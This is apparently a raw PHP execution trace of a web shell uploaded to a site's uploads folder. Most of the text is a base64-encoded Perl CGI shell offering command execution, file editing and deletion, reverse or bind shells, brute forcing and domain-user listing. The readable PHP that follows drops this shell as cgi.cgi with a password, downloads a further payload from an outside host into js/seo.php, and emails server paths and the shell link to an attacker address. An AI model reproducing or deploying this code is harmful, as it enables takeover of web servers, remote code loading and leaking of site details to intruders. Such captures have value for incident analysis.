JuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCgkkcGF0aD1+IHMvXFxcXC9cXC9nOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KDQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9ImxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz4NCg0KCQkJPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkb21haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9uZyBTYTwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJG9uZTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnDQoJCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC13ICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQljaG9wKCRzbCA9IGBsbiAtcyAkbG9nIGVycm9yX2xvZ18kaWApOw0KCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikNCgkJCXsNCgkJCQlpZigtciAkbHMpDQoJCQkJew0KCQkJCQkkcGVybXM9Ik9LIjsNCgkJCQkJJGxvZz0iZXJyb3JfbG9nXyIuJGk7DQoJCQkJfQ0KCQkJfWVsc2UNCgkJCXsNCgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCEoJGNobW9kIGVxIDApKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJY2hvcCgkcmVzdWx0PSBgY2htb2QgJGNobW9kICIkZmlsZSJgKTsNCgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoISRyZW5hbWUgZXEgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoNCglwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7\';\r\n$file = fopen("cgi.cgi" ,"w+");\r\n$write = fwrite ($file ,base64_decode($xaivhost));\r\nfclose($file);\r\n    chmod("cgi.cgi",0755);\r\n   echo "<a href=\'cgi\'><font color=yellow size=4 face=courier new><b>PassWord => asu</font></b></a>";\r\n}\r\n?>\r\n</body>\r\n</html><?php if($_POST[\'query\']){ $veriyfy = stripslashes(stripslashes($_POST[\'query\']));\r\n $data = "data.txt";\r\n @touch ("data.txt");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $veriyfy ) ;\r\n @fclose ($ver);\r\n }else{ $datas=@fopen("data.txt",\'r\');\r\n $i=0;\r\n while ($i <= 5) { $i++;\r\n $blue=@fgets($datas,1024);\r\n echo $blue;\r\n } } $datasi=@fopen("js/seo.php",\'r\');\r\n if($datasi){ }else{ @mkdir("js");\r\n $dos = file_get_contents("https://wordpres.page/txt/lamer.txt");\r\n $data = "js/seo.php";\r\n @touch ("js/seo.php");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $dos ) ;\r\n @fclose ($ver);\r\n $yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";\r\n $y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : js/crs.php</h1>\';\r\n $header .= "From: SheLL Boot <suppor@nic.org>\\n";\r\n $header .= "Content-Type: text/html;\r\n charset=utf-8\\n";\r\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n } \r\n?>\r\n<?php\r\n$kime = "byhero44@gmail.com";\r\n$baslik = "cgi 2022 log";\r\n$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\nmail($kime, $baslik, $EL_MuHaMMeD);\r\n?>'	/var/www/html/uploads/cgi.php(4) : eval()'d code	1	0
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	2	$document_root = '/var/www/html'
4	20	0	0.011473	631976	dirname	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	3	1	'/var/www/html/uploads/cgi.php(4) : eval()\'d code(1) : eval()\'d code'
4	20	1	0.011491	632104
4	20	R			'/var/www/html/uploads'
